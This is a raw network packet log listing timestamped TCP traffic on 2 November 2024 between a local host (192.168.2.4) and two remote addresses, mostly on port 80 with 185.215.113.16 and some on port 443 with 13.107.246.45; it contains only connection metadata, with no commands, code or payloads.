Nov 2, 2024 07:16:16.436146021 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.436156988 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.436162949 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.436172009 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.436176062 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.436187029 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.436197042 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.436197996 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.436220884 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.436239004 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.522038937 CET	443	63837	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:16.524072886 CET	63837	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:16.524095058 CET	443	63837	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:16.525080919 CET	63837	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:16.525087118 CET	443	63837	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:16.533381939 CET	443	63835	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:16.537517071 CET	63835	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:16.537544966 CET	443	63835	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:16.538158894 CET	63835	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:16.538165092 CET	443	63835	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:16.548316002 CET	443	63838	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:16.548636913 CET	63838	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:16.548660040 CET	443	63838	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:16.549041986 CET	63838	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:16.549051046 CET	443	63838	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:16.559847116 CET	443	63836	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:16.560278893 CET	63836	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:16.560301065 CET	443	63836	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:16.560748100 CET	63836	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:16.560755014 CET	443	63836	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:16.601912975 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.601962090 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.601989031 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.601998091 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.602020979 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.602024078 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.602032900 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.602051020 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.602052927 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.602068901 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.602075100 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.602082968 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.602091074 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.602099895 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.602104902 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.602118015 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.602121115 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.602129936 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.602135897 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.602142096 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.602149010 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.602153063 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.602164030 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.602168083 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.602176905 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.602180004 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.602204084 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.602226973 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.602237940 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.602251053 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.602260113 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.602262020 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.602282047 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.602282047 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.602293015 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.602303982 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.602304935 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.602313995 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.602328062 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.602349997 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.602350950 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.602360964 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.602372885 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.602385998 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.602394104 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.602406979 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.602420092 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.602428913 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.602535009 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.602545023 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.602555990 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.602566957 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.602576971 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.602581024 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.602592945 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.602593899 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.602607965 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.602611065 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.602618933 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.602636099 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.602643013 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.602653980 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.602654934 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.602665901 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.602679014 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.602684975 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.602694988 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.602700949 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.602705956 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.602720976 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.602742910 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.602798939 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.602811098 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.602824926 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.602848053 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.602860928 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.602864981 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.602875948 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.602893114 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.602905989 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.602910042 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.602921009 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.602926970 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.602931976 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.602946997 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.602957010 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.602957964 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.602968931 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.602986097 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.602986097 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.602998972 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.603005886 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.603009939 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.603017092 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.603039026 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.603044987 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.603049994 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.603065968 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.603087902 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.603101015 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.603110075 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.603126049 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.603135109 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.603137016 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.603146076 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.603147984 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.603161097 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.603168964 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.603173018 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.603184938 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.603198051 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.603215933 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.603224993 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.603226900 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.603236914 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.603246927 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.603260994 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.603272915 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.603317022 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.603331089 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.603346109 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.603363037 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.603363037 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.603375912 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.603383064 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.603387117 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.603400946 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.603404999 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.603414059 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.603425980 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.603430033 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.603441000 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.603441954 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.603466988 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.603482008 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.603543043 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.603558064 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.603569031 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.603574038 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.603580952 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.603595018 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.603600979 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.603610992 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.603617907 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.603621960 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.603636980 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.603662014 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.603729010 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.603739023 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.603749037 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.603759050 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.603773117 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.603776932 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.603785992 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.603789091 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.603801966 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.603811026 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.603817940 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.603832006 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.603837013 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.603841066 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.603854895 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.603864908 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.603863955 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.603883982 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.603895903 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.603897095 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.603909016 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.603919983 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.603934050 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.603945017 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.603957891 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.604043007 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.604053974 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.604063988 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.604074955 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.604084015 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.604087114 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.604098082 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.604108095 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.604110956 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.604124069 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.604127884 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.604135990 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.604141951 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.604149103 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.604163885 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.604170084 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.604175091 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.604186058 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.604201078 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.604209900 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.604227066 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.604233980 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.604240894 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.604250908 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.604259968 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.604274988 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.604279041 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.604290962 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.604300976 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.604301929 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.604311943 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.604329109 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.604381084 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.604392052 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.604408026 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.604418039 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.604422092 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.604429007 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.604439974 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.604446888 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.604470015 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.604602098 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.604612112 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.604623079 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.604633093 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.604644060 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.604664087 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.604721069 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.604732037 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.604742050 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.604752064 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.604763985 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.604774952 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.604788065 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.604790926 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.604800940 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.604811907 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.604825020 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.604825974 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.604846954 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.604851961 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.604862928 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.604876995 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.604948044 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.604964018 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.604974985 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.604984999 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.604995966 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.604995966 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.605010986 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.605021000 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.605024099 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.605034113 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.605036020 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.605057001 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.605077028 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.605088949 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.605098009 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.605108023 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.605119944 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.605125904 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.605143070 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.605158091 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.605179071 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.605189085 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.605199099 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.605214119 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.605233908 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.605235100 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.605247021 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.605257988 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.605268955 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.605276108 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.605283022 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.605293989 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.605299950 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.605304956 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.605313063 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.605318069 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.605336905 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.605357885 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.605392933 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.605402946 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.605412960 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.605427027 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.605429888 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.605443954 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.605446100 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.605458975 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.605463982 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.605468035 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.605477095 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.605490923 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.605504036 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.605515003 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.605525970 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.605537891 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.605557919 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.605578899 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.605690956 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.605700970 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.605710983 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.605720997 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.605732918 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.605734110 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.605742931 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.605746031 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.605752945 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.605765104 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.605765104 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:16.605789900 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.605806112 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:16.651304960 CET	443	63837	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:16.651366949 CET	443	63837	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:16.651422024 CET	63837	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:16.652012110 CET	63837	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:16.652029991 CET	443	63837	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:16.652040958 CET	63837	443	192.168.2.4	13.107.246.45
